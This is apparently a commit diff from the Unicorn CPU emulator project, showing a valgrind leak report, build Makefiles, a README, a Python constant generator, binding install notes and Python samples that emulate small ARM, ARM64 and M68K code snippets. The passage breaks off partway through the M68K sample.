==25446== by 0x411957: object_property_add_str (object.c:1464)
==25446== by 0x412219: object_instance_init (object.c:1699)
==25446== by 0x40F117: object_init_with_type (object.c:310)
==25446== by 0x40F0ED: object_init_with_type (object.c:306)
==25446== by 0x40F2EB: object_initialize_with_type (object.c:340)
==25446== by 0x40F34C: object_initialize (object.c:348)
==25446== by 0x4450E7: memory_region_init_x86_64 (memory.c:892)
==25446== by 0x445B7B: memory_region_init_io_x86_64 (memory.c:1139)
==25446== by 0x44E20D: io_mem_init (exec.c:1421)
==25446==
==25446== 616 (80 direct, 536 indirect) bytes in 1 blocks are definitely lost in loss record 145 of 150
==25446== at 0x15A5C080: calloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==25446== by 0x161D65B1: g_malloc0 (in /usr/lib/libglib-2.0.so.0.4400.1)
==25446== by 0x40FEFE: object_property_add (object.c:755)
==25446== by 0x411957: object_property_add_str (object.c:1464)
==25446== by 0x412219: object_instance_init (object.c:1699)
==25446== by 0x40F117: object_init_with_type (object.c:310)
==25446== by 0x40F0ED: object_init_with_type (object.c:306)
==25446== by 0x40F2EB: object_initialize_with_type (object.c:340)
==25446== by 0x40F34C: object_initialize (object.c:348)
==25446== by 0x4450E7: memory_region_init_x86_64 (memory.c:892)
==25446== by 0x445B7B: memory_region_init_io_x86_64 (memory.c:1139)
==25446== by 0x44E249: io_mem_init (exec.c:1422)
==25446==
==25446== 616 (80 direct, 536 indirect) bytes in 1 blocks are definitely lost in loss record 146 of 150
==25446== at 0x15A5C080: calloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==25446== by 0x161D65B1: g_malloc0 (in /usr/lib/libglib-2.0.so.0.4400.1)
==25446== by 0x40FEFE: object_property_add (object.c:755)
==25446== by 0x411957: object_property_add_str (object.c:1464)
==25446== by 0x412219: object_instance_init (object.c:1699)
==25446== by 0x40F117: object_init_with_type (object.c:310)
==25446== by 0x40F0ED: object_init_with_type (object.c:306)
==25446== by 0x40F2EB: object_initialize_with_type (object.c:340)
==25446== by 0x40F34C: object_initialize (object.c:348)
==25446== by 0x4450E7: memory_region_init_x86_64 (memory.c:892)
==25446== by 0x445B7B: memory_region_init_io_x86_64 (memory.c:1139)
==25446== by 0x44E282: io_mem_init (exec.c:1424)
==25446==
==25446== 616 (80 direct, 536 indirect) bytes in 1 blocks are definitely lost in loss record 147 of 150
==25446== at 0x15A5C080: calloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==25446== by 0x161D65B1: g_malloc0 (in /usr/lib/libglib-2.0.so.0.4400.1)
==25446== by 0x40FEFE: object_property_add (object.c:755)
==25446== by 0x411957: object_property_add_str (object.c:1464)
==25446== by 0x412219: object_instance_init (object.c:1699)
==25446== by 0x40F117: object_init_with_type (object.c:310)
==25446== by 0x40F0ED: object_init_with_type (object.c:306)
==25446== by 0x40F2EB: object_initialize_with_type (object.c:340)
==25446== by 0x40F34C: object_initialize (object.c:348)
==25446== by 0x4450E7: memory_region_init_x86_64 (memory.c:892)
==25446== by 0x445BEC: memory_region_init_ram_x86_64 (memory.c:1152)
==25446== by 0x4422A3: memory_map_x86_64 (memory.c:36)
==25446==
==25446== 616 (80 direct, 536 indirect) bytes in 1 blocks are definitely lost in loss record 148 of 150
==25446== at 0x15A5C080: calloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==25446== by 0x161D65B1: g_malloc0 (in /usr/lib/libglib-2.0.so.0.4400.1)
==25446== by 0x40FEFE: object_property_add (object.c:755)
==25446== by 0x411957: object_property_add_str (object.c:1464)
==25446== by 0x412219: object_instance_init (object.c:1699)
==25446== by 0x40F117: object_init_with_type (object.c:310)
==25446== by 0x40F0ED: object_init_with_type (object.c:306)
==25446== by 0x40F2EB: object_initialize_with_type (object.c:340)
==25446== by 0x40F34C: object_initialize (object.c:348)
==25446== by 0x4450E7: memory_region_init_x86_64 (memory.c:892)
==25446== by 0x445B7B: memory_region_init_io_x86_64 (memory.c:1139)
==25446== by 0x44E2FE: subpage_init_x86_64 (exec.c:1438)
==25446==
==25446== LEAK SUMMARY:
==25446== definitely lost: 1,183 bytes in 13 blocks
==25446== indirectly lost: 4,001 bytes in 140 blocks
==25446== possibly lost: 0 bytes in 0 blocks
==25446== still reachable: 2,878 bytes in 3 blocks
==25446== suppressed: 0 bytes in 0 blocks
==25446== Reachable blocks (those to which a pointer was found) are not shown.
==25446== To see them, rerun with: --leak-check=full --show-leak-kinds=all
==25446==
==25446== For counts of detected and suppressed errors, rerun with: -v
==25446== Use --track-origins=yes to see where uninitialised values come from
==25446== ERROR SUMMARY: 16 errors from 16 contexts (suppressed: 0 from 0)

326
Makefile Normal file
View file

@ -0,0 +1,326 @@
# Unicorn Emulator Engine
# By Dang Hoang Vu <dang.hvu -at- gmail.com>, 2015
.PHONY: all clean install uninstall dist header
include config.mk
include pkgconfig.mk # package version
LIBNAME = unicorn
GENOBJ = $(shell find qemu/$(1) -name "*.o" 2>/dev/null) $(wildcard qemu/util/*.o) $(wildcard qemu/*.o) $(wildcard qemu/qom/*.o)\
$(wildcard qemu/hw/core/*.o) $(wildcard qemu/qapi/*.o) $(wildcard qemu/qobject/*.o)
ifneq (,$(findstring x86,$(UNICORN_ARCHS)))
UC_TARGET_OBJ += $(call GENOBJ,x86_64-softmmu)
UNICORN_CFLAGS += -DUNICORN_HAS_X86
UNICORN_TARGETS += x86_64-softmmu,
endif
ifneq (,$(findstring arm,$(UNICORN_ARCHS)))
UC_TARGET_OBJ += $(call GENOBJ,arm-softmmu)
UNICORN_CFLAGS += -DUNICORN_HAS_ARM
UNICORN_TARGETS += arm-softmmu,
endif
ifneq (,$(findstring m68k,$(UNICORN_ARCHS)))
UC_TARGET_OBJ += $(call GENOBJ,m68k-softmmu)
UNICORN_CFLAGS += -DUNICORN_HAS_M68K
UNICORN_TARGETS += m68k-softmmu,
endif
ifneq (,$(findstring aarch64,$(UNICORN_ARCHS)))
UC_TARGET_OBJ += $(call GENOBJ,aarch64-softmmu)
UNICORN_CFLAGS += -DUNICORN_HAS_ARM64
UNICORN_TARGETS += aarch64-softmmu,
endif
ifneq (,$(findstring mips,$(UNICORN_ARCHS)))
UC_TARGET_OBJ += $(call GENOBJ,mips-softmmu)
UC_TARGET_OBJ += $(call GENOBJ,mipsel-softmmu)
UC_TARGET_OBJ += $(call GENOBJ,mips64-softmmu)
UC_TARGET_OBJ += $(call GENOBJ,mips64el-softmmu)
UNICORN_CFLAGS += -DUNICORN_HAS_MIPS
UNICORN_CFLAGS += -DUNICORN_HAS_MIPSEL
UNICORN_CFLAGS += -DUNICORN_HAS_MIPS64
UNICORN_CFLAGS += -DUNICORN_HAS_MIPS64EL
UNICORN_TARGETS += mips-softmmu,
UNICORN_TARGETS += mipsel-softmmu,
UNICORN_TARGETS += mips64-softmmu,
UNICORN_TARGETS += mips64el-softmmu,
endif
ifneq (,$(findstring sparc,$(UNICORN_ARCHS)))
UC_TARGET_OBJ += $(call GENOBJ,sparc-softmmu)
UC_TARGET_OBJ += $(call GENOBJ,sparc64-softmmu)
UNICORN_CFLAGS += -DUNICORN_HAS_SPARC
UNICORN_TARGETS += sparc-softmmu,sparc64-softmmu,
endif
UNICORN_CFLAGS += -fPIC
# Verbose output?
V ?= 0
ifeq ($(UNICORN_DEBUG),yes)
CFLAGS += -O3
else
CFLAGS += -g
endif
ifeq ($(CROSS),)
CC ?= cc
AR ?= ar
RANLIB ?= ranlib
STRIP ?= strip
else
CC ?= $(CROSS)-gcc
AR ?= $(CROSS)-ar
RANLIB ?= $(CROSS)-ranlib
STRIP ?= $(CROSS)-strip
GLIB="-L/usr/$(CROSS)/lib/ -lglib-2.0"
endif
# Find GLIB
ifndef GLIB
GLIB = `pkg-config --libs glib-2.0`
endif
ifeq ($(PKG_EXTRA),)
PKG_VERSION = $(PKG_MAJOR).$(PKG_MINOR)
else
PKG_VERSION = $(PKG_MAJOR).$(PKG_MINOR).$(PKG_EXTRA)
endif
API_MAJOR=$(shell echo `grep -e UC_API_MAJOR include/unicorn/unicorn.h | grep -v = | awk '{print $$3}'` | awk '{print $$1}')
VERSION_EXT =
BIN_EXT =
IS_APPLE := $(shell $(CC) -dM -E - < /dev/null | grep __apple_build_version__ | wc -l | tr -d " ")
ifeq ($(IS_APPLE),1)
EXT = dylib
VERSION_EXT = $(API_MAJOR).$(EXT)
AR_EXT = a
UNICORN_CFLAGS += -fvisibility=hidden
else
# Cygwin?
IS_CYGWIN := $(shell $(CC) -dumpmachine | grep -i cygwin | wc -l)
ifeq ($(IS_CYGWIN),1)
EXT = dll
AR_EXT = lib
BIN_EXT = .exe
else
# mingw?
IS_MINGW := $(shell $(CC) --version | grep -i mingw | wc -l)
ifeq ($(IS_MINGW),1)
EXT = dll
AR_EXT = lib
BIN_EXT = .exe
else
# Linux, *BSD
EXT = so
VERSION_EXT = $(EXT).$(API_MAJOR)
AR_EXT = a
UNICORN_CFLAGS += -fvisibility=hidden
endif
endif
endif
ifeq ($(UNICORN_SHARED),yes)
ifeq ($(IS_MINGW),1)
LIBRARY = $(BLDIR)/$(LIBNAME).$(EXT)
else ifeq ($(IS_CYGWIN),1)
LIBRARY = $(BLDIR)/$(LIBNAME).$(EXT)
else # *nix
LIBRARY = $(BLDIR)/lib$(LIBNAME).$(EXT)
endif
endif
ifeq ($(UNICORN_STATIC),yes)
ifeq ($(IS_MINGW),1)
ARCHIVE = $(BLDIR)/$(LIBNAME).$(AR_EXT)
else ifeq ($(IS_CYGWIN),1)
ARCHIVE = $(BLDIR)/$(LIBNAME).$(AR_EXT)
else
ARCHIVE = $(BLDIR)/lib$(LIBNAME).$(AR_EXT)
endif
endif
INSTALL_BIN ?= install
INSTALL_DATA ?= $(INSTALL_BIN) -m0644
INSTALL_LIB ?= $(INSTALL_BIN) -m0755
PKGCFGF = $(LIBNAME).pc
PREFIX ?= /usr
DESTDIR ?=
BLDIR = .
OBJDIR = .
UNAME_S := $(shell uname -s)
LIBDIRARCH ?= lib
# Uncomment the below line to installs x86_64 libs to lib64/ directory.
# Or better, pass 'LIBDIRARCH=lib64' to 'make install/uninstall' via 'make.sh'.
#LIBDIRARCH ?= lib64
LIBDIR ?= $(DESTDIR)$(PREFIX)/$(LIBDIRARCH)
INCDIR ?= $(DESTDIR)$(PREFIX)/include
LIBDATADIR ?= $(LIBDIR)
# Don't redefine $LIBDATADIR when global environment variable
# USE_GENERIC_LIBDATADIR is set. This is used by the pkgsrc framework.
ifndef USE_GENERIC_LIBDATADIR
ifeq ($(UNAME_S), FreeBSD)
LIBDATADIR = $(DESTDIR)$(PREFIX)/libdata
endif
ifeq ($(UNAME_S), DragonFly)
LIBDATADIR = $(DESTDIR)$(PREFIX)/libdata
endif
endif
ifeq ($(PKG_EXTRA),)
PKGCFGDIR = $(LIBDATADIR)/pkgconfig
else
PKGCFGDIR ?= $(LIBDATADIR)/pkgconfig
endif
all: compile_lib
ifeq (,$(findstring yes,$(UNICORN_BUILD_CORE_ONLY)))
ifeq ($(UNICORN_SHARED),yes)
ifeq ($(V),0)
@$(INSTALL_DATA) $(LIBRARY) $(BLDIR)/samples/
else
$(INSTALL_DATA) $(LIBRARY) $(BLDIR)/samples/
endif
endif
ifndef BUILDDIR
@cd samples && $(MAKE)
else
@cd samples && $(MAKE) BUILDDIR=$(BLDIR)
endif
endif
config:
if [ "$(UNICORN_ARCHS)" != "`cat config.log`" ]; then $(MAKE) clean; fi
qemu/config-host.h-timestamp:
ifeq ($(UNICORN_DEBUG),yes)
cd qemu && \
./configure --extra-cflags="$(UNICORN_CFLAGS)" --target-list="$(UNICORN_TARGETS)"
printf "$(UNICORN_ARCHS)" > config.log
else
cd qemu && \
./configure --disable-debug-info --extra-cflags="$(UNICORN_CFLAGS)" --target-list="$(UNICORN_TARGETS)"
printf "$(UNICORN_ARCHS)" > config.log
endif
compile_lib: config qemu/config-host.h-timestamp
rm -rf lib$(LIBNAME)* $(LIBNAME)*.lib $(LIBNAME)*.dll && cd qemu && $(MAKE) -j 8
$(MAKE) unicorn
cd samples && $(MAKE) clean
unicorn: $(LIBRARY) $(ARCHIVE)
$(LIBRARY): $(UC_TARGET_OBJ) uc.o hook.o
ifeq ($(UNICORN_SHARED),yes)
ifeq ($(V),0)
$(call log,GEN,$(LIBRARY))
@$(CC) $(CFLAGS) -shared $^ -o $(LIBRARY) $(GLIB) -lm
else
$(CC) $(CFLAGS) -shared $^ -o $(LIBRARY) $(GLIB) -lm
endif
endif
$(ARCHIVE): $(UC_TARGET_OBJ) uc.o hook.o
ifeq ($(UNICORN_STATIC),yes)
ifeq ($(V),0)
$(call log,GEN,$(ARCHIVE))
@$(create-archive)
else
$(create-archive)
endif
endif
$(PKGCFGF):
ifeq ($(V),0)
$(call log,GEN,$(@:$(BLDIR)/%=%))
@$(generate-pkgcfg)
else
$(generate-pkgcfg)
endif
install: compile_lib $(PKGCFGF)
mkdir -p $(LIBDIR)
ifeq ($(UNICORN_SHARED),yes)
$(INSTALL_LIB) $(LIBRARY) $(LIBDIR)
ifneq ($(VERSION_EXT),)
cd $(LIBDIR) && \
mv lib$(LIBNAME).$(EXT) lib$(LIBNAME).$(VERSION_EXT) && \
ln -s lib$(LIBNAME).$(VERSION_EXT) lib$(LIBNAME).$(EXT)
endif
endif
ifeq ($(UNICORN_STATIC),yes)
$(INSTALL_DATA) $(ARCHIVE) $(LIBDIR)
endif
mkdir -p $(INCDIR)/$(LIBNAME)
$(INSTALL_DATA) include/unicorn/*.h $(INCDIR)/$(LIBNAME)
mkdir -p $(PKGCFGDIR)
$(INSTALL_DATA) $(PKGCFGF) $(PKGCFGDIR)/
TAG ?= HEAD
ifeq ($(TAG), HEAD)
DIST_VERSION = latest
else
DIST_VERSION = $(TAG)
endif
dist:
git archive --format=tar.gz --prefix=unicorn-$(DIST_VERSION)/ $(TAG) > unicorn-$(DIST_VERSION).tgz
git archive --format=zip --prefix=unicorn-$(DIST_VERSION)/ $(TAG) > unicorn-$(DIST_VERSION).zip
header: FORCE
$(eval TARGETS := m68k arm aarch64 mips mipsel mips64 mips64el\
powerpc sparc sparc64 x86_64)
$(foreach var,$(TARGETS),\
$(shell python qemu/header_gen.py $(var) > qemu/$(var).h;))
@echo "Generated headers for $(TARGETS)."
clean:
$(MAKE) -C qemu clean
rm -rf *.d *.o
rm -rf lib$(LIBNAME)* $(LIBNAME)*.lib $(LIBNAME)*.dll
ifeq (,$(findstring yes,$(UNICORN_BUILD_CORE_ONLY)))
cd samples && $(MAKE) clean
rm -f $(BLDIR)/samples/lib$(LIBNAME).$(EXT)
endif
ifdef BUILDDIR
rm -rf $(BUILDDIR)
endif
define generate-pkgcfg
echo 'Name: unicorn' > $(PKGCFGF)
echo 'Description: Unicorn emulator engine' >> $(PKGCFGF)
echo 'Version: $(PKG_VERSION)' >> $(PKGCFGF)
echo 'libdir=$(LIBDIR)' >> $(PKGCFGF)
echo 'includedir=$(INCDIR)' >> $(PKGCFGF)
echo 'archive=$${libdir}/libunicorn.a' >> $(PKGCFGF)
echo 'Libs: -L$${libdir} -lunicorn' >> $(PKGCFGF)
echo 'Cflags: -I$${includedir}' >> $(PKGCFGF)
endef
define log
@printf " %-7s %s\n" "$(1)" "$(2)"
endef
define create-archive
$(AR) q $(ARCHIVE) $^
$(RANLIB) $(ARCHIVE)
endef
FORCE:

23
README Normal file
View file

@ -0,0 +1,23 @@
Unicorn is a lightweight multi-platform, multi-architecture CPU emulator framework.
Unicorn offers some unparalleled features:
- Multi-architectures: Arm, Arm64 (Armv8), M68K, Mips, Sparc, & X86 (include X86_64).
- Clean/simple/lightweight/intuitive architecture-neutral API.
- Implemented in pure C language, with bindings for Python available.
- Native support for Windows & *nix (with Mac OSX, Linux, *BSD & Solaris confirmed).
- High performace by using Just-In-Time compiler technique.
- Support fine-grained instrumentation at various levels.
- Thread-safe by design.
- Distributed under open source license GPL.
Further information is available at http://www.unicorn-engine.org
[Compile]
See COMPILE.TXT file for how to compile and install Unicorn.
[License]
This project is released under the GPL license.

58
bindings/Makefile Normal file
View file

@ -0,0 +1,58 @@
# Unicorn Engine
# By Nguyen Anh Quynh & Dang Hoang Vu, 2015
TMPDIR = /tmp/unicorn_sample
DIFF = diff -u -w
SAMPLE_ARM = $(TMPDIR)/sample_arm
SAMPLE_ARM64 = $(TMPDIR)/sample_arm64
SAMPLE_MIPS = $(TMPDIR)/sample_mips
SAMPLE_M68K = $(TMPDIR)/sample_m68k
SAMPLE_SPARC = $(TMPDIR)/sample_sparc
SAMPLE_X86 = $(TMPDIR)/sample_x86
.PHONY: all expected python
all:
cd python && $(MAKE) gen_const
samples: expected python
sample_python: expected python
expected:
cd ../samples && $(MAKE)
mkdir -p $(TMPDIR)
../samples/sample_arm > $(SAMPLE_ARM)_e
../samples/sample_arm64 > $(SAMPLE_ARM64)_e
../samples/sample_mips > $(SAMPLE_MIPS)_e
../samples/sample_sparc > $(SAMPLE_SPARC)_e
../samples/sample_m68k > $(SAMPLE_M68K)_e
../samples/sample_x86 > $(SAMPLE_X86)_e
python: FORCE
cd python && $(MAKE)
python python/sample_arm.py > $(SAMPLE_ARM)_o
python python/sample_arm64.py > $(SAMPLE_ARM64)_o
python python/sample_mips.py > $(SAMPLE_MIPS)_o
python python/sample_sparc.py > $(SAMPLE_SPARC)_o
python python/sample_m68k.py > $(SAMPLE_M68K)_o
python python/sample_x86.py > $(SAMPLE_X86)_o
$(MAKE) sample_diff
sample_diff: FORCE
$(DIFF) $(SAMPLE_ARM)_e $(SAMPLE_ARM)_o
$(DIFF) $(SAMPLE_ARM64)_e $(SAMPLE_ARM64)_o
$(DIFF) $(SAMPLE_MIPS)_e $(SAMPLE_MIPS)_o
$(DIFF) $(SAMPLE_SPARC)_e $(SAMPLE_SPARC)_o
$(DIFF) $(SAMPLE_M68K)_e $(SAMPLE_M68K)_o
$(DIFF) $(SAMPLE_X86)_e $(SAMPLE_X86)_o
clean:
rm -rf $(TMPDIR)
cd python && $(MAKE) clean
check:
make -C python check
FORCE:

100
bindings/const_generator.py Normal file
View file

@ -0,0 +1,100 @@
# Unicorn Engine
# By Dang Hoang Vu, 2013
from __future__ import print_function
import sys, re
INCL_DIR = '../include/unicorn/'
include = [ 'arm.h', 'arm64.h', 'mips.h', 'x86.h', 'sparc.h', 'm68k.h' ]
template = {
'python': {
'header': "# For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT [%s_const.py]\n",
'footer': "",
'line_format': '%s = %s\n',
'out_file': './python/unicorn/%s_const.py',
# prefixes for constant filenames of all archs - case sensitive
'arm.h': 'arm',
'arm64.h': 'arm64',
'mips.h': 'mips',
'x86.h': 'x86',
'sparc.h': 'sparc',
'm68k.h': 'm68k',
'comment_open': '#',
'comment_close': '',
},
}
# markup for comments to be added to autogen files
MARKUP = '//>'
def gen(lang):
global include, INCL_DIR
templ = template[lang]
for target in include:
prefix = templ[target]
outfile = open(templ['out_file'] %(prefix), 'w')
outfile.write(templ['header'] % (prefix))
lines = open(INCL_DIR + target).readlines()
count = 0
for line in lines:
line = line.strip()
if line.startswith(MARKUP): # markup for comments
outfile.write("\n%s%s%s\n" %(templ['comment_open'], \
line.replace(MARKUP, ''), templ['comment_close']))
continue
if line == '' or line.startswith('//'):
continue
if not line.startswith(prefix.upper()):
continue
tmp = line.strip().split(',')
for t in tmp:
t = t.strip()
if not t or t.startswith('//'): continue
f = re.split('\s+', t)
if f[0].startswith(prefix.upper()):
if len(f) > 1 and f[1] not in '//=':
print("Error: Unable to convert %s" % f)
continue
elif len(f) > 1 and f[1] == '=':
rhs = ''.join(f[2:])
else:
rhs = str(count)
count += 1
try:
count = int(rhs) + 1
if (count == 1):
outfile.write("\n")
except ValueError:
if lang == 'ocaml':
# ocaml uses lsl for '<<', lor for '|'
rhs = rhs.replace('<<', ' lsl ')
rhs = rhs.replace('|', ' lor ')
# ocaml variable has _ as prefix
if rhs[0].isalpha():
rhs = '_' + rhs
outfile.write(templ['line_format'] %(f[0].strip(), rhs))
outfile.write(templ['footer'])
outfile.close()
def main():
try:
gen(sys.argv[1])
except:
raise RuntimeError("Unsupported binding %s" % sys.argv[1])
if __name__ == "__main__":
if len(sys.argv) < 2:
print("Usage:", sys.argv[0], " <python>")
sys.exit(1)
main()

View file

@ -0,0 +1,4 @@
recursive-include src *
recursive-include prebuilt *
include LICENSE.TXT
include README

82
bindings/python/Makefile Normal file
View file

@ -0,0 +1,82 @@
# Python binding for Unicorn engine. Nguyen Anh Quynh <aquynh@gmail.com>
ifndef BUILDDIR
OBJDIR = ./build
else
OBJDIR = $(abspath $(BUILDDIR))/obj/bindings/python
endif
.PHONY: gen_const install install3 clean
gen_const:
cd .. && python const_generator.py python
install:
rm -rf $(OBJDIR) src/
rm -rf prebuilt/win64/unicorn.dll
rm -rf prebuilt/win32/unicorn.dll
if test -n "${DESTDIR}"; then \
python setup.py build -b $(OBJDIR) install --root="${DESTDIR}"; \
else \
python setup.py build -b $(OBJDIR) install; \
fi
install3:
rm -rf $(OBJDIR) src/
rm -rf prebuilt/win64/unicorn.dll
rm -rf prebuilt/win32/unicorn.dll
if test -n "${DESTDIR}"; then \
python3 setup.py build -b $(OBJDIR) install --root="${DESTDIR}"; \
else \
python3 setup.py build -b $(OBJDIR) install; \
fi
# build & upload PyPi package with source code of the core
sdist:
rm -rf src/ dist/
rm -rf prebuilt/win64/unicorn.dll
rm -rf prebuilt/win32/unicorn.dll
cp README.pypi-src README
cp PKG-INFO.src PKG-INFO
python setup.py sdist register upload
# build & upload PyPi package with source code of the core
sdist3:
rm -rf src/ dist/
rm -rf prebuilt/win64/unicorn.dll
rm -rf prebuilt/win32/unicorn.dll
cp README.pypi-src README
cp PKG-INFO.src PKG-INFO
python3 setup.py sdist register upload
# build & upload PyPi package with prebuilt core
# NOTE: be sure to have precompiled core under prebuilt/win*/ beforehand
sdist_win:
rm -rf src/ dist/
cp README.pypi-win README
cp PKG-INFO.win PKG-INFO
python setup.py sdist register upload
# build & upload PyPi package with prebuilt core
# NOTE: be sure to have precompiled core under prebuilt/win*/ beforehand
sdist3_win:
rm -rf src/ dist/
cp README.pypi-win README
cp PKG-INFO.win PKG-INFO
python3 setup.py sdist register upload
clean:
rm -rf $(OBJDIR) src/ dist/ README
rm -f unicorn/*.so
rm -rf prebuilt/win64/unicorn.dll
rm -rf prebuilt/win32/unicorn.dll
SAMPLES = sample_arm.py sample_arm64.py sample_mips.py
SAMPLES += sample_sparc.py sample_m68k.py sample_x86.py
check:
@for t in $(SAMPLES); do \
echo Check $$t ... ; \
./$$t > /dev/null && echo OK || echo FAILED; \
done

View file

@ -0,0 +1,63 @@
This documentation explains how to install Python binding for Unicorn
from source. If you want to install it from PyPi package, see the below
docs instead:
- README.pypi-src: How to compile the Unicorn core & install binding
at the same time from PyPi package "unicorn"
- README.pypi-win: How to install binding for Windows from PyPi package
"unicorn-windows". Note that this package already has prebuilt core
inside, so no compilation is needed.
0. Install the core engine as dependency
Follow README in the root directory to compile & install the core.
On *nix, this can simply done by:
$ sudo ./make.sh install
1. To install pure Python binding on *nix, run the command below:
$ sudo make install
To install Python3 binding package, run the command below:
(Note: this requires python3 installed in your machine)
$ sudo make install3
This directory contains some sample code to show how to use Unicorn API.
- sample_<arch>.py
These code show how to access architecture-specific information for each
architecture.
- shellcode.py
This shows how to analyze a Linux shellcode.
2. To install Python binding on Windows:
Recommended method:
Use the Python module installer for 32/64 bit Windows from:
http://www.unicorn-engine.org/download.html
Manual method:
If the module installer fails to locate your Python install, or if you have
additional Python installs (e.g. Anaconda / virtualenv), run the following
command in command prompt:
C:\> C:\location_to_python\python.exe setup.py install
Next, copy unicorn.dll from the 'Core engine for Windows' package available
on the same Unicorn download page and paste it in the path:
C:\location_to_python\Lib\site-packages\unicorn\

103
bindings/python/sample_arm.py Executable file
View file

@ -0,0 +1,103 @@
#!/usr/bin/env python
# Sample code for ARM of Unicorn. Nguyen Anh Quynh <aquynh@gmail.com>
# Python sample ported by Loi Anh Tuan <loianhtuan@gmail.com>
from __future__ import print_function
from unicorn import *
from unicorn.arm_const import *
# code to be emulated
ARM_CODE = "\x37\x00\xa0\xe3\x03\x10\x42\xe0" # mov r0, #0x37; sub r1, r2, r3
THUMB_CODE = "\x83\xb0" # sub sp, #0xc
# memory address where emulation starts
ADDRESS = 0x10000
# callback for tracing basic blocks
def hook_block(uc, address, size, user_data):
print(">>> Tracing basic block at 0x%x, block size = 0x%x" %(address, size))
# callback for tracing instructions
def hook_code(uc, address, size, user_data):
print(">>> Tracing instruction at 0x%x, instruction size = %u" %(address, size))
# Test ARM
def test_arm():
print("Emulate ARM code")
try:
# Initialize emulator in ARM mode
mu = Uc(UC_ARCH_ARM, UC_MODE_ARM)
# map 2MB memory for this emulation
mu.mem_map(ADDRESS, 2 * 1024 * 1024)
# write machine code to be emulated to memory
mu.mem_write(ADDRESS, ARM_CODE)
# initialize machine registers
mu.reg_write(ARM_REG_R0, 0x1234)
mu.reg_write(ARM_REG_R2, 0x6789)
mu.reg_write(ARM_REG_R3, 0x3333)
# tracing all basic blocks with customized callback
mu.hook_add(UC_HOOK_BLOCK, hook_block)
# tracing all instructions with customized callback
mu.hook_add(UC_HOOK_CODE, hook_code)
# emulate machine code in infinite time
mu.emu_start(ADDRESS, ADDRESS + len(ARM_CODE))
# now print out some registers
print(">>> Emulation done. Below is the CPU context")
r0 = mu.reg_read(ARM_REG_R0)
r1 = mu.reg_read(ARM_REG_R1)
print(">>> R0 = 0x%x" %r0)
print(">>> R1 = 0x%x" %r1)
except UcError as e:
print("ERROR: %s" % e)
def test_thumb():
print("Emulate THUMB code")
try:
# Initialize emulator in thumb mode
mu = Uc(UC_ARCH_ARM, UC_MODE_THUMB)
# map 2MB memory for this emulation
mu.mem_map(ADDRESS, 2 * 1024 * 1024)
# write machine code to be emulated to memory
mu.mem_write(ADDRESS, THUMB_CODE)
# initialize machine registers
mu.reg_write(ARM_REG_SP, 0x1234)
# tracing all basic blocks with customized callback
mu.hook_add(UC_HOOK_BLOCK, hook_block)
# tracing all instructions with customized callback
mu.hook_add(UC_HOOK_CODE, hook_code)
# emulate machine code in infinite time
mu.emu_start(ADDRESS, ADDRESS + len(THUMB_CODE))
# now print out some registers
print(">>> Emulation done. Below is the CPU context")
sp = mu.reg_read(ARM_REG_SP)
print(">>> SP = 0x%x" %sp)
except UcError as e:
print("ERROR: %s" % e)
if __name__ == '__main__':
test_arm()
print("=" * 20)
test_thumb()

67
bindings/python/sample_arm64.py Executable file
View file

@ -0,0 +1,67 @@
#!/usr/bin/env python
# Sample code for ARM64 of Unicorn. Nguyen Anh Quynh <aquynh@gmail.com>
# Python sample ported by Loi Anh Tuan <loianhtuan@gmail.com>
from __future__ import print_function
from unicorn import *
from unicorn.arm64_const import *
# code to be emulated
ARM64_CODE = "\xab\x01\x0f\x8b" #add x11, x13, x15
# memory address where emulation starts
ADDRESS = 0x10000
# callback for tracing basic blocks
def hook_block(uc, address, size, user_data):
print(">>> Tracing basic block at 0x%x, block size = 0x%x" %(address, size))
# callback for tracing instructions
def hook_code(uc, address, size, user_data):
print(">>> Tracing instruction at 0x%x, instruction size = %u" %(address, size))
# Test ARM64
def test_arm64():
print("Emulate ARM64 code")
try:
# Initialize emulator in ARM mode
mu = Uc(UC_ARCH_ARM64, UC_MODE_ARM)
# map 2MB memory for this emulation
mu.mem_map(ADDRESS, 2 * 1024 * 1024)
# write machine code to be emulated to memory
mu.mem_write(ADDRESS, ARM64_CODE)
# initialize machine registers
mu.reg_write(ARM64_REG_X11, 0x1234)
mu.reg_write(ARM64_REG_X13, 0x6789)
mu.reg_write(ARM64_REG_X15, 0x3333)
# tracing all basic blocks with customized callback
mu.hook_add(UC_HOOK_BLOCK, hook_block)
# tracing all instructions with customized callback
mu.hook_add(UC_HOOK_CODE, hook_code)
# emulate machine code in infinite time
mu.emu_start(ADDRESS, ADDRESS + len(ARM64_CODE))
# now print out some registers
print(">>> Emulation done. Below is the CPU context")
x11 = mu.reg_read(ARM64_REG_X11)
x13 = mu.reg_read(ARM64_REG_X13)
x15 = mu.reg_read(ARM64_REG_X15)
print(">>> X11 = 0x%x" %x11)
except UcError as e:
print("ERROR: %s" % e)
if __name__ == '__main__':
test_arm64()

62
bindings/python/sample_m68k.py Executable file
View file

@ -0,0 +1,62 @@
#!/usr/bin/env python
# Sample code for ARM of Unicorn. Nguyen Anh Quynh <aquynh@gmail.com>
# Python sample ported by Loi Anh Tuan <loianhtuan@gmail.com>
from __future__ import print_function
from unicorn import *
from unicorn.m68k_const import *
# code to be emulated
M68K_CODE = "\x76\xed" # movq #-19, %d3
# memory address where emulation starts
ADDRESS = 0x10000
# callback for tracing basic blocks
def hook_block(uc, address, size, user_data):
print(">>> Tracing basic block at 0x%x, block size = 0x%x" %(address, size))
# callback for tracing instructions
def hook_code(uc, address, size, user_data):
print(">>> Tracing instruction at 0x%x, instruction size = %u" %(address, size))
# Test ARM
def test_m68k():
print("Emulate M68K code")
try:
# Initialize emulator in ARM mode
mu = Uc(UC_ARCH_M68K, UC_MODE_BIG_ENDIAN)
# map 2MB memory for this emulation
mu.mem_map(ADDRESS, 2 * 1024 * 1024)
# write machine code to be emulated to memory
mu.mem_write(ADDRESS, M68K_CODE)
# initialize machine registers
mu.reg_write(M68K_REG_D3, 0x1234)
# tracing all basic blocks with customized callback
mu.hook_add(UC_HOOK_BLOCK, hook_block)
# tracing all instructions with customized callback
mu.hook_add(UC_HOOK_CODE, hook_code)
# emulate machine code in infinite time
mu.emu_start(ADDRESS, ADDRESS + len(M68K_CODE))
# now print out some registers
print(">>> Emulation done. Below is the CPU context")
d3 = mu.reg_read(M68K_REG_D3)
